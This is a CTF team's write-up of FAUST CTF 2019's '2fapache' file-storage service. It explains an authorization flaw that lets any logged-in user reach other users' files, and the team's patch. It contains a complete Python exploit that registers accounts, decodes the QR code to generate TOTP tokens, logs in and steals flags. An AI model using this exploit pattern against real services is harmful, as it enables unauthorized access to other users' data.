FAUST CTF 2019 WriteUp 2fapache
30 May 2019 by Olli & Johannes
The 2fapache service was a python webservice running on apache using FastCGI that implemented some sort of remote filestorage. Like most CTF services it allowed to register user accounts for login. Unlike most CTF services, it used two-factor authentication using the TOTP standard during login.
For this, the user is presented with a QR code after registration, which can be scanned with any 2FA app.
The login mask then queries the username, password, and the current 2FA token.
After successfull login, a user is redirected to /~username/
, which displays the (initially empty) contents of their home folder.
Behind the scenes, every user is backed by an actual linux user:
def register(name, password):
try:
pwd.getpwnam(name)
return False
except KeyError:
pass
if '\0' in password or ':' in password or ':' in name or '\0' in name or name in ('.', '..'):
return False
cmd = "{name}:{password}::web_users:user from web:/home/{name}:/sbin/nologin"
run(['newusers'], input=cmd.format(**locals()).encode('utf-8'))
return True
Further, authentication is delegated to PAM:
def pam_auth(user, *secrets):
pid = os.fork()
# PAM stack does weird stuff with process credentials and umask, so do it in a subprocess
if pid == 0:
conv = new_simple_password_conv(secrets, 'utf-8')
try:
handle = pam_start('2fapache', user, conv_func=conv, encoding='utf-8')
retval = PAM_AUTHENTICATE(handle, 0)
# Re-initialize credentials (for Kerberos users, etc)
# Don't check return code of pam_setcred(), it shouldn't matter
# if this fails
if retval == 0 and PAM_REINITIALIZE_CRED:
PAM_SETCRED(handle, PAM_REINITIALIZE_CRED)
pam_end(handle, retval)
os._exit(retval)
except PAMError as e:
print(e, file=sys.stderr)
os._exit(1)
else:
pid, res = os.waitpid(pid, 0)
return os.WIFEXITED(res) and os.WEXITSTATUS(res) == 0
The Flaw: Authentication != Authorization
After playing with the service a bit we realized that, once logged in, we could simply access files of other users. Looking at the code, this made perfect sense:
def dav_responder(env, start_response):
user, _, path = env['REQUEST_URI'][2:].partition('/')
try:
pw = getpwnam(user)
except KeyError:
start_response(b'404 Not Found', [])
return []
path = join(pw.pw_dir, path)
setegid(pw.pw_gid)
seteuid(pw.pw_uid)
try:
if env['REQUEST_METHOD'] == 'GET':
return dav_GET(path, env, start_response)
elif env['REQUEST_METHOD'] == 'HEAD':
dav_HEAD(path, env, start_response)
return []
elif env['REQUEST_METHOD'] == 'PUT':
return dav_PUT(pw.pw_dir, path, env, start_response)
elif env['REQUEST_METHOD'] == 'DELETE':
return dav_DELETE(path, env, start_response)
else:
start_response(b'405 Method Not Allowed', [])
return []
finally:
seteuid(0)
setegid(0)
Here, user
is taken from the URI insteadof the authentication info (env['REMOTE_USER']
).
user
is then used to find the user’s home directory, and no further checks are applied afterwards.
The Exploit
When the first flag_ids became available shortly after 14:00 UTC we noticed that they were simply paths of files of other users, e.g.
/~62GP3QgOXfOoXiHI/public/reminder
The contents of that file were a seemingly random bytestring like
60b61c77c1c7772d860a5008afab20c7340f6e0e5b3472444735b2c2
which turned out to be another filename located in the home folder of that user. This file then contained the flag:
FAUST_XOmQsAgCsYM4EQAAAADt7G3IQGyO2Cl5
To get to that point, all we had to do was create a user, login, and then access /~62GP3QgOXfOoXiHI/public/reminder
.
Clicking through the login form and using FreeOTP to handle the 2FA code allowed us to score our first flag for this service at only 14:07 UTC.
However, with over 200 Teams and new flags every 3 minutes it became quite clear that using an Android app to scan a qr code and then hastily type an eight digit 2FA token wouldn’t get us far.
To automate the 2FA token generation, we needed to “read” the QR code automatically.
def new_oath(user):
assert not any(c.isspace() for c in user)
hostname = urllib.parse.quote_plus(socket.gethostname())
key = token(alphabet=string.digits + 'abcdef', bits=256)
key_b32 = urllib.parse.quote_plus(b32encode(bytes.fromhex(key)).decode('utf-8'))
user_encoded = urllib.parse.quote_plus(user)
url_fmt = 'otpauth://totp/{user_encoded}@{hostname}?digits=8&period=30&secret={key_b32}'
url = url_fmt.format(**locals()).encode('utf-8')
qr = run(['qrencode', '-o', '-', '-t', 'UTF8'], input=url, check=True, stdout=PIPE)
with open('/etc/liboath/users.oath', 'a') as f:
lockf(f.fileno(), LOCK_EX)
try:
f.write('HOTP/T30/8 {user} - {key}\n'.format(**locals()))
f.flush()
finally:
lockf(f, LOCK_UN)
return qr.stdout
Looking at the registration code we can see that the QR code displayed during registration is created using the qrencode
utility.
Specifically, it is using the -t UTF8
option to generate the code not as an image, but rather as a sequence of UTF-8 characters.
Since we couldn’t find a python library that would take such an UTF-8 representation as an input, we resorted to converting the UTF-8 encoding into an image using Pillow
and passing that on to pyzbar
:
from PIL import Image
from pyzbar.pyzbar import decode
def qrtosecret(qr):
lines = qr.splitlines()
size = (len(lines[0]), len(lines) * 2)
im = Image.new('1', size)
pixels = im.load() # create the pixel map
for x in range(size[0]):
for y in range(size[1] // 2):
pixels[x, y * 2] = 0 if lines[y][x] == ' ' or lines[y][x] == u'▄' else 1
for y in range(size[1] // 2):
pixels[x, y * 2 + 1] = 0 if lines[y][x] == ' ' or lines[y][x] == u'▀' else 1
im = im.resize((size[0] * 2, size[1] * 2), Image.ANTIALIAS)
data = decode(im)
return data[0].data.decode('ascii')
Furthermore, the qrcode contains a string with the following structure:
otpauth://totp/{user_encoded}@{hostname}?digits=8&period=30&secret={key_b32}
This tells us, that we are using TOTP tokens with 8 digits that are rotated every 30 seconds. Naturally, there is also a python library for these: pyotp.
def generate_totp(secret):
totp = TOTP(secret, digits=8)
Plugging both of these together allowed us to register and login users automatically, and thus steal other user’s flags:
#!/usr/bin/env python3
# -*- coding: UTF-8 -*-
import requests
import sys
import string
import random
import urllib
from pyotp import TOTP
from PIL import Image
import codecs
from pyzbar.pyzbar import decode
def randomstring(length=30):
return ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(length))
def qrtosecret(qr):
lines = qr.splitlines()
size = (len(lines[0]), len(lines) * 2)
im = Image.new('1', size)
pixels = im.load() # create the pixel map
for x in range(size[0]):
for y in range(size[1] // 2):
pixels[x, y * 2] = 0 if lines[y][x] == ' ' or lines[y][x] == u'▄' else 1
for y in range(size[1] // 2):
pixels[x, y * 2 + 1] = 0 if lines[y][x] == ' ' or lines[y][x] == u'▀' else 1
im = im.resize((size[0] * 2, size[1] * 2), Image.ANTIALIAS)
data = decode(im)
return data[0].data.decode('ascii')
def generate_totp(secret):
totp = TOTP(secret, digits=8)
return totp.now()
def exploit(target, flag_id):
sess = requests.Session()
## register a new user (<randomstring>)
r = sess.get('http://{}/cgi-bin/sign-up'.format(target))
csrf = r.text.split('csrf" value="')[1][0]
user = randomstring(8)
pw = randomstring(8)
data = {'user': user, 'pass': pw, 'pass2': pw, 'csrf': csrf}
r = sess.post('http://{}/cgi-bin/do-register'.format(target), data=data)
## "read" QR code
qrcode = r.text.split('<div><pre>')[1].split('</pre>')[0]
secret = qrtosecret(qrcode)
secret = urllib.parse.unquote(secret).split('secret=')[1]
## login
login_url = 'http://{}/cgi-bin/do-login'.format(target)
r = sess.get(login_url)
csrf = r.text.split('"csrf" value="')[1].split('">')[0]
totp = generate_totp(secret)
data = {'user': user, 'pass': pw, 'httpd_location':'/', 'csrf': csrf, 'otp': totp}
r = sess.post(login_url+'?otp='+totp, data=data)
## access /public/reminder file
r = sess.get('http://{}{}'.format(target, flag_id))
filename = r.text
## read flag
flag_user = flag_id.split('/')[1]
r = sess.get('http://{}/{}/{}'.format(target, flag_user, filename))
print(r.text)
if __name__ == '__main__':
exploit(sys.argv[1], sys.argv[2])
The Fix
Fixing this flaw proved to be a little bit more tricky. Our intial patch looked like this:
def dav_responder(env, start_response):
user, _, path = env['REQUEST_URI'][2:].partition('/')
user = env['REMOTE_USER']
try:
pw = getpwnam(user)
except KeyError:
start_response(b'404 Not Found', [])
return []
path = join(pw.pw_dir, path)
setegid(pw.pw_gid)
seteuid(pw.pw_uid)
However, with this patch applied our service turned to Flag not found
state.
After lots of trial and error we decided to do the user check at the latest possible stage: only when accessing a file that didn’t contain public
in its name we compared the assumed user (from the URI) with the actual user (from env
).
def dav_GET(path, env, start_response, user=''):
if not dav_HEAD(path, env, start_response, user):
return
if 'public' not in path and user != env.get('REMOTE_USER', ''):
yield 'Fuck Off'
return
try:
with open(path, 'rb') as f:
while True:
d = f.read(1024*1024)
if not d:
break
yield d
except IsADirectoryError:
yield from show_template('dir_pre', {'path': html.escape(path)}, None, None)
fmt = "<a href='{0}' class='list-group-item list-group-item-action'>{0}</a>"
yield "<a href='.' class='list-group-item list-group-item-action active'>.</a>"
yield fmt.format('..')
for entry in listdir(path):
yield fmt.format(html.escape(entry))
yield from show_template('dir_post', {}, None, None)
Discussion
Another problem we had to deal with during the CTF was other teams deleting our precious flags.
This was sadly neither prevent through the service design (DELETE
suffered from the same access vulnerabilities as GET
) nor forbidden by the rules.
As a quick fix we simply disabled the delete-functionality alltogether.
However, it turns out teams also resorted to simply overwriting our files (PUT
also suffered from the same flaw).
While deleting flags was easily preventable by fixing the access checks in all cases, it also meant that stealing other teams flags essentially became a race: With other teams deleting flags we could only score a flag if our exploit ran first. This caused us to schedule our exploits much more aggressively than usual, trying to steal a flag every 15 seconds instead of just once or twice per round. Looking at final scores one may take an educated guess at which teams did delete flags and which teams didn’t…
Alltogether this was a fun challenge, and we were very proud to have scored not only first blood of this service but first blood of FAUST CTF overall ;)